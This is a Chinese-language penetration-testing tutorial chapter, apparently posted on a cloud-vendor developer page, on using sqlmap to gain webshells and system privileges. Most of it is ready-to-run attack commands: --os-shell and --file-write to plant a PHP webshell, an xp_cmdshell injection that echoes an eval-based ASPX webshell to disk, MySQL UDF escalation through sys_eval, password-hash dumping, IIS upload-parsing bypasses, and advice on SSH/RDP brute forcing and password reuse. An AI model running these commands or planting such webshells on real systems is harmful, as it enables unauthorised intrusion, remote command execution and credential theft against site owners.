4.5 sqlmap注入获取webshell及系统权限研究

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS PostgreSQL,集群系列 2核4GB
简介: 4.5 sqlmap注入获取webshell及系统权限研究

4.5 sqlmap注入获取webshell及系统权限研究

渗透思路千万条,只要有一条通往成功获取webshell的道路即可,所以不必一致纠结于必须要使用sqlmap

4.5.1 sqlmap获取webshell及提权常见命令

  1. sqlmap常见获取webshell的相关命令

(1) MSSQL判断是否是DBA权限

--is-dba

(2) 数据库交互模式shell

--sql-shell

(3) 操作系统交互命令

--os-cmd=net user 这里一般是Windows的DOS命令或者Linux的终端命令

(4) 文件读取和写入命令

--file-read=RFILE 从后台数据库管理系统中读取文件

--file-write=WFILE 编辑后端数据库管理系统上的本地文件WFILE

--file-dest=DFILE 后端数据库管理系统写入文件的绝对路径

(5) 数据库权限提升

--priv-esc 数据库进程用户权限提升

(6) meterpreter提权(作者说实际测试并未成功过,可以当作一个思路来记录)

--os-pwn 获取一个OOB shell , meterpreter或者VNC

--os-smbrelay 一键获取一个OOB shell ,meterpreter或者VNC

--os-bof 存储过程缓冲区溢出利用

(7) 获取数据库root账号密码及其他账号密码,sa权限用户获取当前MSSQL下用户密码

--passwords 枚举数据库管理系统用户密码哈希值,程序会自动对密码进行破解,破解不了会列出hash让你自己破解

  1. MySQL数据库直接连接提权

sqlmap.py -d mysql://root:root@xx.xx.xx.xx:3306/test --os-shell

  1. MySQL数据库sql-shell下UDF提权

(1) 连接数据库

sqlmap.py -d mysql://root:root@xx.xx.xx.xx:3306/test --sql-shell

(2) 查看版本

select @@version;

(3) 查看插件目录

select @@plugin_dir;

(4) 操作sqlmap上传lib_mysqludf_sys到MySQL插件目录

sqlmap.py -d mysql:root:root@xx.xx.xx.xx:3306/test --file-write=D:/tmp/lib_mysqludf_sys.dll --file-dest=D::\phpstudy\bin\mysql\lib\plugin\lib_mysqludf_sys.dll

(5) 创建sys_exec函数

CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.dll'

(6) 创建sys_eval函数

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.dll'

(7) 执行命令

select sys_eval('ver');

select sys_eval('whoami');

select sys_eval('net user');

  1. MSSQL直连数据库

  2. 安装所需要的模块

pip install pymssql

pip install pyodbc

apt-get install unixodbc -y

按照上述安装,还是不成功,大家可以自己测试下,连接MSSQL数据库Windows下好多好用的连接工具

  1. 直连获取shell

sqlmap -d mssql://sa:sa@192.168.91.131:1433/master --os-shell

4.5.2 获取webshell或shell条件

  1. PHP+MySQL类型网站获取webshell

(1) MySQL root账号权限,即配置MySQL连接的账号为root账号,不是root账号具备root权限也可

(2) GPC配置关闭,能使用单引号

(3) 有网站的绝对路径,且具备可以在文件夹写入文件的权限

(4) 没有配置secure-file-priv属性

  1. MSSQL+ASP/ASP.net类型网站获取webshell条件

(1) 数据库用户是sa

(2) 能够创建xp_cmdshell

(3) 知道真实路径

(4) 可以通过echo命令生成shell

';exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval (Request.Item["bmfx"], "unsafe");%^ >> C:\tools\fx.aspx';--

4.5.3 获取webshell权限思路及命令

  1. PHP类型网站获取webshell权限思路

(1) 获取os-shell

sqlmap.py -u "http://www.xxx.com/index.php?id=2" --os-shell

(2) 选择4-PHP类型的语言

(3) 物理路径的选择

普通路径,指定路径,指定字典文件进行暴力破解,暴力搜索地址

(4) 获取webshell

在sqlmap中无法直接获取webshell,如果--os-shell整个命令执行完成,就会上传两个文件,sqlmap会给你提示上传的文件名,一个文件是后门文件,可以通过参数传递命令直接执行shell,另一个文件是文件上传功能页面,访问这个页面可以直接上传文件

(5) PHP获取webshell难点

在整个过程中获取网站的真实物理路径是最重要的,一般可以通过phpinfo函数,测试页面,及报错信息,搜素引擎,目录爆破的方式来获取网站的真实物理路径,如果获取到了管理员的账号,能够登录后台,如果后台有一些探针功能或者是系统运行情况的页面,那么也可以获取真实的物理路径,如果实在无法获取那只能暴力猜解或者社工等其他方式。

  1. 直接写入webshell到网站

sqlmap.py -u "http://www.xxx.com/index.php?id=3" --file-write /opt/bmfx.php --file-dest /var/www/html/shell.php

bmfx.php是攻击者本地文件,shell.php是上传到目标站点的文件名称

  1. os-shell下载文件执行
  1. 通过sqlmap连接MySQL获取shell
  1. 账号登录管理后台,寻找上传点

(1) 后台直接上传webshell

(2) 抓包构建绕过防护上传webshell

(3) IIS 6 畸形文件漏洞绕过,即上传1.asp;jpg图片一句话

(4) IIS 7 CGI解析漏洞,上传webshell图片文件,访问http://www.xxx.com/1.jpg/1.php

(5) FCK文件两次上传获取webshell

(6) 其他上传漏洞获取webshell

4.5.4 获取system权限思路

  1. MSSQL和MySQL数据库获取system权限

(1) 生成系统信息

systeminfo > bmfx.txt

(2) 使用windows-exploit-suggester.py 检查是否存在未打补丁的漏洞

(3) 找到漏洞对应exp直接提权

  1. 直接获取system权限

有些服务器是直接使用高权限启动服务,可以通过sqlmap直接获取系统权限

  1. 社工提权

有些root/sa账号对应的数据库密码就是系统Windows/Linux系统的管理员密码

  1. 密码账号暴力破解

通过前面获取到系统准确的账号信息,可以尝试SSH/RDP账号的暴力破解

相关实践学习
如何快速连接云数据库RDS MySQL
本场景介绍如何通过阿里云数据管理服务DMS快速连接云数据库RDS MySQL,然后进行数据表的CRUD操作。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
2月前
|
SQL 安全 关系型数据库
sql注入原理和sqlmap命令的基础命令以及使用手法
sql注入原理和sqlmap命令的基础命令以及使用手法
|
6月前
|
SQL 数据库 关系型数据库
【SQL注入】 注入神器sqlmap的使用
数据库 SQL注入漏洞 sqlmap
256 2
|
5月前
|
SQL 安全 Oracle
SQLMap工具详解与SQL注入防范
SQLMap工具详解与SQL注入防范
|
7月前
|
SQL 存储 安全
CTF--Web安全--SQL注入之报错注入
CTF--Web安全--SQL注入之报错注入
|
SQL 安全 关系型数据库
3.8 sqlmap及其他安全工具进行漏洞综合利用
3.8 sqlmap及其他安全工具进行漏洞综合利用
126 0
|
7月前
|
SQL Web App开发 安全
CTF-Web安全--SQL注入之Union注入详解
CTF-Web安全--SQL注入之Union注入详解
|
应用服务中间件 数据库连接 数据安全/隐私保护
MSSQL绕过360提权实战案例
MSSQL绕过360提权实战案例
339 2
|
SQL 安全 网络安全
Sqlmap学习 -- Tamper绕过脚本
Sqlmap学习 -- Tamper绕过脚本
1050 0
|
关系型数据库 MySQL 数据库
Sqlmap学习 -- Tapmer绕过脚本(三)
Sqlmap学习 -- Tapmer绕过脚本(三)
195 0
|
SQL 安全 Linux
Web安全——命令注入漏洞详解
Web安全——命令注入漏洞详解
578 0